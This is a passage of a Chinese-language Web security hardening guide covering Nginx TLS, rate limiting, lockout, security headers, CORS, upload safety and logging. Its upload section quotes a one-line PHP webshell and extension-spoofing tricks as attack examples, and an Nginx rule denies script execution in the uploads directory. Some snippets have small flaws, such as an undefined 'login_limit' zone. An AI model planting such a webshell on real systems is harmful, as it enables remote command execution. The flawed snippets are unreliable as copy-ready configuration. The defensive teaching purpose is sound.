# 第四步:设置定时任务自动续期(crontab)
# 0 0,12 * * * certbot renew --quiet --post-hook "systemctl reload nginx"
10.2 生产级 HTTPS 安全配置(Mozilla 推荐)
nginx
server {
# ======== HTTP 强制跳转 HTTPS ========
listen 80;
server_name example.com www.example.com;
# HSTS:告诉浏览器未来 1 年内只用 HTTPS 访问
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# 301 永久重定向到 HTTPS
return 301 https://$host$request_uri;
}
server {
# ======== HTTPS 主配置 ========
listen 443 ssl http2; # 启用 HTTP/2 提升性能
server_name example.com www.example.com;
# -------- SSL 证书路径 --------
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
# -------- SSL 协议和加密套件 --------
# 只允许 TLS 1.2 和 1.3(禁用不安全的 SSL 和 TLS 1.0/1.1)
ssl_protocols TLSv1.2 TLSv1.3;
# Mozilla 推荐的加密套件(从强到弱排列)
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384';
# 优先使用服务端的加密套件顺序
ssl_prefer_server_ciphers on;
# -------- SSL Session 缓存(提升性能)--------
ssl_session_cache shared:SSL:10m; # 10MB 缓存,约 40000 个会话
ssl_session_timeout 1d; # 会话超时 1 天
ssl_session_tickets off; # 禁用 session tickets(前向安全)
# -------- OCSP Stapling(加速证书验证)--------
ssl_stapling on;
ssl_stapling_verify on;
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;
# -------- DH 参数(提升密钥交换安全性)--------
# 生成:openssl dhparam -out /etc/nginx/dhparam.pem 2048
ssl_dhparam /etc/nginx/dhparam.pem;
# -------- 安全响应头 --------
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;
# -------- 日志 --------
access_log /var/log/nginx/example.com_ssl_access.log;
error_log /var/log/nginx/example.com_ssl_error.log;
# -------- 反向代理到 Node.js --------
location / {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
}
}
10.3 SSL 安全等级对照表
| 等级 | 协议 | 适用场景 |
|---|---|---|
| ⛔ 禁止 | SSL 2.0, SSL 3.0 | 已被破解,绝对不能使用 |
| ⛔ 禁止 | TLS 1.0, TLS 1.1 | 已弃用(2021年起) |
| ✅ 推荐 | TLS 1.2 | 当前主流,兼容性最好 |
| ⭐ 最优 | TLS 1.3 | 最新标准,更快更安全 |
💡 快速检查 :用 SSL Labs Test 检测你的 HTTPS 配置安全等级,目标是 A+。
十一、限流与防暴力破解
🚦 通俗比喻:限流就像高速公路的收费站------车流量太大时,控制每分钟放行多少辆车,防止服务器被压垮。防暴力破解就像银行卡密码输错3次就冻结------攻击者连续猜密码,到一定次数就锁定。
11.1 Nginx 限流配置
nginx
# ======== 在 http 块中定义限流区域 ========
http {
# 基于 IP 的请求速率限制
# $binary_remote_addr = 客户端 IP 的二进制格式(节省内存)
# zone=api_limit:10m = 分配 10MB 内存存储状态
# rate=10r/s = 每个 IP 每秒最多 10 个请求
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
# 基于 IP 的并发连接数限制
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
# ======== 在 server 块中应用限流 ========
server {
# API 接口限流
location /api/ {
# burst=20 = 允许突发 20 个请求排队
# nodelay = 突发请求不延迟处理,超出直接拒绝
limit_req zone=api_limit burst=20 nodelay;
# 每个 IP 最多 5 个并发连接
limit_conn conn_limit 5;
# 被限流时返回 429 状态码(默认 503)
limit_req_status 429;
proxy_pass http://127.0.0.1:3000;
}
# 登录接口更严格的限流(防暴力破解)
location /api/login {
# 每个 IP 每秒只允许 2 次登录请求
limit_req zone=login_limit burst=5 nodelay;
limit_conn conn_limit 2;
proxy_pass http://127.0.0.1:3000;
}
# 静态资源不限流
location /static/ {
# 不限流
alias /var/www/static/;
}
}
}
11.2 Node.js 应用层限流
javascript
const rateLimit = require('express-rate-limit');
const Redis = require('ioredis');
const redis = new Redis();
// ======== 方案一:express-rate-limit(单机)========
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟时间窗口
max: 100, // 每个 IP 最多 100 次请求
message: '请求过于频繁,请稍后再试',
standardHeaders: true, // 返回 RateLimit-* 头信息
legacyHeaders: false, // 禁用 X-RateLimit-* 头
handler: (req, res) => {
res.status(429).json({
error: '请求过于频繁',
retryAfter: Math.ceil(req.rateLimit.resetTime / 1000)
});
}
});
// 应用到所有 API 路由
app.use('/api/', apiLimiter);
// 登录接口单独限流(更严格)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 5, // 每个 IP 最多 5 次登录
message: '登录尝试过多,请 15 分钟后再试',
skipSuccessfulRequests: true // 成功的登录不计入限额
});
app.use('/api/login', loginLimiter);
// ======== 方案二:Redis 分布式限流(多台服务器)========
async function redisRateLimit(key, limit, windowSeconds) {
const now = Date.now();
const windowStart = now - windowSeconds * 1000;
// 使用 Redis 有序集合实现滑动窗口限流
const pipeline = redis.pipeline();
// 1. 移除过期的请求记录
pipeline.zremrangebyscore(key, 0, windowStart);
// 2. 添加当前请求
pipeline.zadd(key, now, `${now}:${Math.random()}`);
// 3. 统计时间窗口内的请求数
pipeline.zcard(key);
// 4. 设置过期时间
pipeline.expire(key, windowSeconds);
const results = await pipeline.exec();
const count = results[2][1]; // zcard 的返回值
return count <= limit;
}
// 中间件
app.use('/api/', async (req, res, next) => {
const key = `ratelimit:${req.ip}`;
const allowed = await redisRateLimit(key, 100, 900); // 15分钟100次
if (!allowed) {
return res.status(429).json({ error: '请求过于频繁' });
}
next();
});
11.3 防暴力破解:账户锁定机制
javascript
// 登录失败计数 + 账户锁定
async function handleLoginAttempt(username, ip) {
const key = `login_fail:${username}`;
const ipKey = `login_fail_ip:${ip}`;
// 获取失败次数
const [userFails, ipFails] = await Promise.all([
redis.get(key),
redis.get(ipKey)
]);
// 检查是否被锁定
if (parseInt(userFails) >= 5) {
const ttl = await redis.ttl(key);
throw new Error(`账户已锁定,请 ${Math.ceil(ttl / 60)} 分钟后再试`);
}
if (parseInt(ipFails) >= 20) {
throw new Error('该 IP 登录尝试过多,请稍后再试');
}
}
// 登录失败时调用
async function onLoginFail(username, ip) {
const key = `login_fail:${username}`;
const ipKey = `login_fail_ip:${ip}`;
// 增加失败计数,设置 30 分钟过期
await redis.incr(key);
await redis.expire(key, 1800);
await redis.incr(ipKey);
await redis.expire(ipKey, 1800);
}
// 登录成功时清除计数
async function onLoginSuccess(username, ip) {
await redis.del(`login_fail:${username}`);
// 注意:IP 级别的计数不清除,防止攻击者换用户名绕过
}
十二、安全响应头完整配置
📋 通俗比喻:安全响应头就像快递包裹上的"易碎品"、"禁止拆开"等标签。它们告诉浏览器应该如何处理这个响应,为你的 Web 应用加上一层额外保护。
12.1 安全响应头一览表
| 响应头 | 作用 | 推荐值 | 防护的攻击 |
|---|---|---|---|
| Strict-Transport-Security | 强制 HTTPS | max-age=31536000; includeSubDomains | 协议降级攻击 |
| X-Content-Type-Options | 禁止 MIME 嗅探 | nosniff | MIME 嗅探攻击 |
| X-Frame-Options | 禁止 iframe 嵌入 | SAMEORIGIN | 点击劫持 |
| X-XSS-Protection | 浏览器 XSS 过滤 | 1; mode=block | 反射型 XSS |
| Referrer-Policy | 控制 Referer 信息 | strict-origin-when-cross-origin | 信息泄露 |
| Permissions-Policy | 控制浏览器功能权限 | camera=(), microphone=(), geolocation=() | 功能滥用 |
| Content-Security-Policy | 资源加载白名单 | 见第五章 | XSS/数据注入 |
12.2 Nginx 统一配置
nginx
# 在 server 块中统一添加安全头
server {
# HSTS:强制 HTTPS(先确认 HTTPS 正常后再启用)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# 禁止 MIME 类型嗅探
# 场景:攻击者上传了一个 .jpg 文件但实际包含 JS 代码
# 没有 nosniff:浏览器可能执行其中的 JS
# 有 nosniff:浏览器严格按照声明的 Content-Type 处理
add_header X-Content-Type-Options "nosniff" always;
# 点击劫持防护
add_header X-Frame-Options "SAMEORIGIN" always;
# XSS 过滤(主要保护旧浏览器,现代浏览器依赖 CSP)
add_header X-XSS-Protection "1; mode=block" always;
# 控制 Referer 泄露
# 场景:用户从你的网站点击外链,不想让外部网站知道完整的 URL
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# 权限策略:禁止网站使用摄像头/麦克风/地理位置
# 场景:防止恶意 JS 偷偷开启摄像头
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# CORS 跨域配置(如果需要跨域)
add_header Access-Control-Allow-Origin "https://your-frontend.com" always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Max-Age "86400" always;
}
12.3 Node.js + Helmet 一键配置
javascript
const helmet = require('helmet');
// ✅ 方式一:使用默认配置(推荐新手)
app.use(helmet());
// helmet() 默认开启以下 15 个安全头:
// - contentSecurityPolicy (CSP)
// - crossOriginEmbedderPolicy
// - crossOriginOpenerPolicy
// - crossOriginResourcePolicy
// - dnsPrefetchControl
// - frameguard (X-Frame-Options)
// - hidePoweredBy (移除 X-Powered-By)
// - hsts (Strict-Transport-Security)
// - ieNoOpen
// - noSniff (X-Content-Type-Options)
// - originAgentCluster
// - referrerPolicy
// - xssFilter (X-XSS-Protection)
// ✅ 方式二:自定义配置(推荐生产环境)
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.jsdelivr.net"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
frameAncestors: ["'none'"]
}
},
hsts: {
maxAge: 31536000, // 1年
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'sameorigin'
},
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
}
}));
// ✅ 方式三:移除敏感信息头
// 移除 X-Powered-By: Express(避免暴露服务器技术栈)
app.disable('x-powered-by');
// 或通过 helmet 自动移除
// helmet 默认就会移除 X-Powered-By
十三、CORS 跨域安全配置
🌐 通俗比喻:CORS 就像小区的门禁系统。你家(前端域名 A)想叫外卖(请求后端域名 B 的接口),外卖员(浏览器)会先问 B 家的物业(CORS 头):"A 家的住户可以叫你家外卖吗?"如果 B 家的物业没说"可以",外卖员就不送。
13.1 CORS 预检请求流程
前端发起请求 → 浏览器检查是否跨域
├─ 简单请求(GET/POST + 普通头)→ 直接发送,检查响应头
└─ 复杂请求(PUT/DELETE + 自定义头)→ 先发 OPTIONS 预检请求
├─ 服务端返回允许 → 发送实际请求
└─ 服务端返回拒绝 → 阻止请求,控制台报 CORS 错误
13.2 Node.js CORS 配置(cors 库)
javascript
const cors = require('cors');
// ❌ 危险:允许所有来源
app.use(cors({ origin: '*' }));
// ✅ 安全:白名单模式
const allowedOrigins = [
'https://www.example.com',
'https://admin.example.com',
'http://localhost:3000' // 开发环境
];
app.use(cors({
origin: function (origin, callback) {
// 允许没有 origin 的请求(服务器间请求、Postman 等)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS policy: 不允许的来源'));
}
},
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'],
credentials: true, // 允许发送 Cookie
maxAge: 86400 // 预检结果缓存 24 小时
}));
// ✅ 针对特定路由的 CORS 配置
app.post('/api/webhook', cors({ origin: 'https://payment-gateway.com' }), handler);
13.3 Nginx CORS 配置
nginx
# 针对跨域 API 接口
location /api/ {
# 白名单校验来源
if ($http_origin ~* ^(https://www\.example\.com|https://admin\.example\.com)$) {
add_header Access-Control-Allow-Origin $http_origin always;
}
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization, X-Requested-With" always;
add_header Access-Control-Allow-Credentials "true" always;
add_header Access-Control-Max-Age "86400" always;
# 处理 OPTIONS 预检请求
if ($request_method = OPTIONS) {
return 204;
}
proxy_pass http://127.0.0.1:3000;
}
13.4 CORS 常见错误速查
| 错误信息 | 原因 | 解决方案 |
|---|---|---|
| No 'Access-Control-Allow-Origin' | 服务端未设置 CORS 头 | 添加 Access-Control-Allow-Origin |
| Credentials flag is 'true' | credentials:true 时不能用 * | 改为具体域名白名单 |
| Preflight wildcard not allowed | 预检请求响应不支持 * | 预检响应也要用具体值 |
| Redirect not allowed | CORS 请求被重定向 | 直接请求最终地址 |
十四、文件上传安全
📁 通俗比喻:文件上传就像快递收件窗口。如果不检查,有人可能寄来一个炸弹(恶意脚本),伪装成普通包裹(改后缀名)。文件上传安全就是快递员的安检流程------检查包裹类型、大小、内容,确保安全才放行。
14.1 攻击场景举例
// 攻击场景1:上传 WebShell
// 攻击者上传 shell.php(伪装成 shell.jpg)
// 内容:<?php system($_GET['cmd']); ?>
// 如果服务器直接保存并可通过 URL 访问,攻击者就能执行任意命令
// 攻击场景2:双后缀名绕过
// 攻击者上传 shell.php.jpg
// 如果服务端只检查最后一个后缀,会认为是 jpg
// 但某些服务器配置(如 Apache)可能执行 .php 部分
// 攻击场景3:Content-Type 欺骗
// 攻击者上传 shell.php,但设置 Content-Type: image/jpeg
// 如果只检查 Content-Type 头,会被认为是图片
14.2 Node.js 安全文件上传(multer)
javascript
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
// ======== 存储配置 ========
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, '/var/www/uploads/'); // 上传目录(不在 Web 根目录下!)
},
filename: (req, file, cb) => {
// 1. 使用随机文件名(防止文件名注入和覆盖)
const ext = path.extname(file.originalname).toLowerCase();
const randomName = crypto.randomBytes(16).toString('hex');
cb(null, `${randomName}${ext}`);
}
});
// ======== 文件过滤器 ========
const fileFilter = (req, file, cb) => {
// 白名单允许的文件类型
const allowedTypes = ['.jpg', '.jpeg', '.png', '.gif', '.pdf', '.doc', '.docx'];
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif',
'application/pdf',
'application/msword',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document'];
const ext = path.extname(file.originalname).toLowerCase();
// 双重检查:扩展名 + MIME 类型
if (allowedTypes.includes(ext) && allowedMimes.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error('不支持的文件类型'), false);
}
};
// ======== 创建 multer 实例 ========
const upload = multer({
storage,
fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 最大 5MB
files: 5, // 最多 5 个文件
fields: 10 // 最多 10 个表单字段
}
});
// ======== 使用路由 ========
app.post('/api/upload', upload.single('avatar'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: '请选择文件' });
}
// 额外验证:检查文件真实类型(读取文件头魔数)
const filePath = req.file.path;
const buffer = fs.readFileSync(filePath);
// 验证图片文件头(Magic Number)
const imageMagics = {
'image/jpeg': [0xFF, 0xD8, 0xFF],
'image/png': [0x89, 0x50, 0x4E, 0x47],
'image/gif': [0x47, 0x49, 0x46]
};
const mime = Object.entries(imageMagics).find(([_, magic]) => {
return magic.every((byte, i) => buffer[i] === byte);
});
if (!mime) {
fs.unlinkSync(filePath); // 删除非法文件
return res.status(400).json({ error: '文件内容与类型不匹配' });
}
res.json({
success: true,
filename: req.file.filename,
url: `/files/${req.file.filename}` // 返回安全的访问路径
});
});
14.3 Nginx 文件上传安全配置
nginx
# 上传文件大小限制
client_max_body_size 5m;
# 上传文件的存储目录(关键:不可直接通过 URL 访问!)
location /uploads/ {
# 禁止执行上传目录中的脚本文件
location ~* /uploads/.*\.(php|jsp|py|sh|cgi|pl)$ {
deny all;
}
# 只允许静态文件访问
alias /var/www/uploads/;
# 禁止目录浏览
autoindex off;
}
# 通过 Node.js 中间接口访问文件(不直接暴露文件路径)
location /files/ {
proxy_pass http://127.0.0.1:3000/files/;
# Node.js 做权限验证后再返回文件内容
}
14.4 文件上传安全检查清单
| 检查项 | 说明 | 实现方式 |
|---|---|---|
| 扩展名白名单 | 只允许安全的文件类型 | multer fileFilter |
| MIME 类型校验 | 检查 Content-Type | multer fileFilter |
| 文件头魔数验证 | 读取文件字节判断真实类型 | 读取 buffer 前几个字节 |
| 文件大小限制 | 防止大文件耗尽磁盘 | multer limits + nginx |
| 随机文件名 | 防止文件名注入和覆盖 | crypto.randomBytes |
| 独立存储目录 | 上传目录不在 Web 根目录 | 配置独立路径 |
| 禁止执行脚本 | 上传目录不能执行代码 | nginx deny + 静态服务 |
| 权限验证 | 访问文件需要鉴权 | Node.js 中间件 |
十五、日志与安全监控
📊 通俗比喻:日志就像银行的监控摄像头。出了事(被攻击),你得能回放录像(查日志)找出是谁、什么时候、做了什么。没有日志,等于蒙着眼瞎开------被攻击了都不知道。
15.1 Nginx 安全日志配置
nginx
# 自定义日志格式(包含安全相关信息)
log_format security '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'"$http_x_forwarded_for" '
'request_time=$request_time';
# 访问日志
access_log /var/log/nginx/access.log security;
# 错误日志(记录异常)
error_log /var/log/nginx/error.log warn;
# 记录被限流的请求
limit_req_log_level warn;
# ======== 敏感路径监控 ========
# 对关键路径的请求单独记录日志
location /api/admin/ {
access_log /var/log/nginx/admin_access.log security;
# 管理员操作日志单独存储,便于审计
proxy_pass http://127.0.0.1:3000;
}
# 记录所有 4xx/5xx 错误
location @error_handler {
access_log /var/log/nginx/security_alerts.log security;
return 500;
}
15.2 Node.js 安全日志(Winston)
javascript
const winston = require('winston');
const { combine, timestamp, printf, json } = winston.format;
// 自定义日志格式
const logFormat = printf(({ level, message, timestamp, ip, userId, ...meta }) => {
return JSON.stringify({
timestamp,
level,
message,
ip: ip || 'unknown',
userId: userId || 'anonymous',
...meta
});
});
// 创建 logger
const logger = winston.createLogger({
level: 'info',
format: combine(timestamp(), logFormat),
transports: [
// 普通日志
new winston.transports.File({ filename: 'logs/app.log' }),
// 错误日志单独存放
new winston.transports.File({ filename: 'logs/error.log', level: 'error' }),
// 安全事件单独存放
new winston.transports.File({ filename: 'logs/security.log', level: 'warn' })
]
});
// ======== 安全事件日志中间件 ========
function securityLogger(req, res, next) {
const startTime = Date.now();
// 记录请求
logger.info('Request', {
ip: req.ip,
method: req.method,
url: req.originalUrl,
userAgent: req.headers['user-agent'],
userId: req.user?.id
});
// 监控响应
res.on('finish', () => {
const duration = Date.now() - startTime;
// 记录可疑活动
if (res.statusCode === 401) {
logger.warn('Authentication Failed', {
ip: req.ip,
url: req.originalUrl,
userAgent: req.headers['user-agent']
});
}
if (res.statusCode === 403) {
logger.warn('Access Denied', {
ip: req.ip,
url: req.originalUrl,
userId: req.user?.id
});
}
// 异常慢请求(可能有攻击)
if (duration > 5000) {
logger.warn('Slow Request', {
ip: req.ip,
url: req.originalUrl,
duration
});
}
});
next();
}
app.use(securityLogger);
// ======== 登录日志 ========
async function logLogin(userId, ip, success) {
if (success) {
logger.info('Login Success', { userId, ip });
} else {
logger.warn('Login Failed', { ip, userId });
}
}
// ======== 敏感操作日志 ========
async function logSensitiveAction(userId, action, target, ip) {
logger.warn('Sensitive Action', {
userId, action, target, ip,
timestamp: new Date().toISOString()
});
// 例如:删除用户、修改权限、导出数据等
}
15.3 日志安全检查清单
| 检查项 | 说明 |
|---|---|
| 记录所有登录尝试 | 成功和失败都要记录,包含 IP 和时间 |
| 记录敏感操作 | 增删改权限、导出数据、修改密码等 |
| 不记录敏感数据 | 密码、Token、信用卡号不能出现在日志中 |
| 日志轮转 | 使用 logrotate 防止日志文件无限增长 |
| 日志权限 | 日志文件只允许管理员读取(chmod 600) |
| 集中管理 | 使用 ELK/Grafana Loki 集中收集分析日志 |
| 异常告警 | 设置自动告警规则(如短时间内大量 401) |
十六、生产环境安全清单:上线前必查
✅ 通俗比喻:这份清单就像飞机起飞前的安全检查------飞行员不会凭记忆检查,而是对照清单逐项确认。上线前过一遍这份清单,能避免 90% 的低级安全漏洞。
16.1 Nginx 安全清单
| 序号 | 检查项 | 配置示例 | 状态 |
|---|---|---|---|
| 1 | 启用 HTTPS,禁用 HTTP | listen 443 ssl; + 301 跳转 | ☐ |
| 2 | SSL 协议限 TLS 1.2+ | ssl_protocols TLSv1.2 TLSv1.3; | ☐ |
| 3 | 启用 HSTS | add_header Strict-Transport-Security | ☐ |
| 4 | 隐藏版本号 | server_tokens off; | ☐ |
| 5 | 配置安全响应头 | X-Content-Type-Options, X-Frame-Options 等 | ☐ |
| 6 | 配置 CSP | Content-Security-Policy | ☐ |
| 7 | 配置限流 | limit_req_zone + limit_conn_zone | ☐ |
| 8 | 禁止敏感路径访问 | deny all for /.env, /git/ | ☐ |
| 9 | 配置 CORS | Access-Control-Allow-Origin 白名单 | ☐ |
| 10 | 上传文件大小限制 | client_max_body_size 5m; | ☐ |
| 11 | 启用日志 | access_log + error_log | ☐ |
| 12 | 禁用目录浏览 | autoindex off; | ☐ |
16.2 Node.js 安全清单
| 序号 | 检查项 | 实现方式 | 状态 |
|---|---|---|---|
| 1 | 使用 helmet 设置安全头 | app.use(helmet()) | ☐ |
| 2 | 参数化查询防注入 | Prepared Statement / ORM | ☐ |
| 3 | bcrypt 加密密码 | bcrypt.hash(password, 12) | ☐ |
| 4 | JWT 安全配置 | 强密钥 + algorithms限制 + 短过期 | ☐ |
| 5 | 输入校验 | express-validator / joi / zod | ☐ |
| 6 | 限流防暴力破解 | express-rate-limit | ☐ |
| 7 | CORS 白名单 | cors({ origin: whitelist }) | ☐ |
| 8 | 文件上传安全 | 类型白名单 + 大小限制 + 随机文件名 | ☐ |
| 9 | Cookie 安全 | httpOnly + secure + sameSite | ☐ |
| 10 | CSRF 防护 | csurf / SameSite Cookie | ☐ |
| 11 | 错误处理不泄露信息 | 生产环境关闭 stack trace | ☐ |
| 12 | 依赖安全审计 | npm audit / snyk | ☐ |
16.3 前端安全清单
| 序号 | 检查项 | 实现方式 | 状态 |
|---|---|---|---|
| 1 | XSS 防护:转义输出 | textContent / DOMPurify | ☐ |
| 2 | 不使用 innerHTML | 用 textContent 或框架自动转义 | ☐ |
| 3 | 不使用 eval/Function | 禁止动态代码执行 | ☐ |
| 4 | 敏感数据不存 localStorage | 使用 httpOnly Cookie | ☐ |
| 5 | 密码不明文传输 | HTTPS + bcrypt 服务端加密 | ☐ |
| 6 | 前端输入校验(用户体验) | 配合后端校验(双保险) | ☐ |
| 7 | 第三方脚本白名单 | 配合 CSP 策略 | ☐ |
| 8 | 依赖安全审计 | npm audit / GitHub Dependabot | ☐ |
十七、推荐安全工具与资源
17.1 安全检测工具
| 工具 | 用途 | 使用场景 |
|---|---|---|
| SSL Labs | HTTPS 配置检测 | 检测 SSL/TLS 配置安全等级 |
| Security Headers | 安全响应头检测 | 检测网站安全头配置 |
| npm audit | 依赖漏洞扫描 | npm audit / npm audit fix |
| Snyk | 持续安全监控 | 自动化依赖漏洞检测和修复 |
| OWASP ZAP | Web 应用渗透测试 | 自动化安全扫描 |
| Helmet | Express 安全头 | npm install helmet |
| OWASP CRS | WAF 规则集 | Nginx ModSecurity 防火墙规则 |
17.2 日常安全检查命令
bash
# 1. 检查 Node.js 项目依赖漏洞
npm audit
npm audit fix # 自动修复可修复的漏洞
# 2. 使用 npx 运行安全检查(无需安装)
npx snyk test # Snyk 安全扫描
npx is-website-vulnerable # 检测网站是否使用了有漏洞的 JS 库
# 3. 检查 Nginx 配置语法
nginx -t # 测试配置文件语法是否正确
# 4. 查看 Nginx 日志中的异常请求
grep " 40[0-9] " /var/log/nginx/access.log | tail -20 # 最近的 4xx 错误
grep " 50[0-9] " /var/log/nginx/access.log | tail -20 # 最近的 5xx 错误
grep "POST /api/login" /var/log/nginx/access.log | tail -20 # 最近的登录请求
# 5. 检查服务器开放端口(确认没有意外的开放端口)
netstat -tlnp | grep LISTEN
# 6. 检查文件权限
ls -la /var/www/uploads/ # 上传目录权限
ls -la /etc/nginx/ # Nginx 配置权限
十八、总结:安全防护架构全景图
┌──────────────────────────────────────────────────────────────────┐
│ 用户(浏览器) │
│ 输入校验 · XSS防护 · CSP · 敏感数据保护 │
└────────────────────────────┬─────────────────────────────────────┘
│ HTTPS (TLS 1.2/1.3)
▼
┌──────────────────────────────────────────────────────────────────┐
│ Nginx(第一道防线) │
│ SSL/TLS · 安全头 · 限流 · 防点击劫持 · CORS · 禁目录浏览 │
│ 隐藏版本号 · 缓冲区保护 · 文件上传限制 │
└────────────────────────────┬─────────────────────────────────────┘
│ 反向代理
▼
┌──────────────────────────────────────────────────────────────────┐
│ Node.js(第二道防线) │
│ Helmet · 参数化查询 · bcrypt · JWT安全 · 输入校验 │
│ 限流 · CORS · 文件上传安全 · Cookie安全 · 日志监控 │
└────────────────────────────┬─────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ 数据库(第三道防线) │
│ 最小权限账号 · 数据加密 · 连接池 · 审计日志 │
└──────────────────────────────────────────────────────────────────┘
🎯 安全防护的黄金法则:
- 纵深防御:不依赖单一防护,每层都要有保护
- 最小权限:只给需要的最小权限
- 永远不信任用户输入:所有输入都要校验和转义
- 保持更新:及时更新依赖包和系统补丁
- 记录日志:出了问题能追溯
- 定期审计:安全是持续的过程,不是一次性的
希望这篇指南对你有帮助!安全防护是一个持续学习的过程,建议收藏本文作为参考手册,在项目上线前对照安全清单逐项检查。如有问题或建议,欢迎在评论区交流! 🙏
📅 更新日期:2025年5月
🏷️ 标签:Web安全 | Node.js | Nginx | 前端安全 | 后端安全 | HTTPS | XSS | CSRF | SQL注入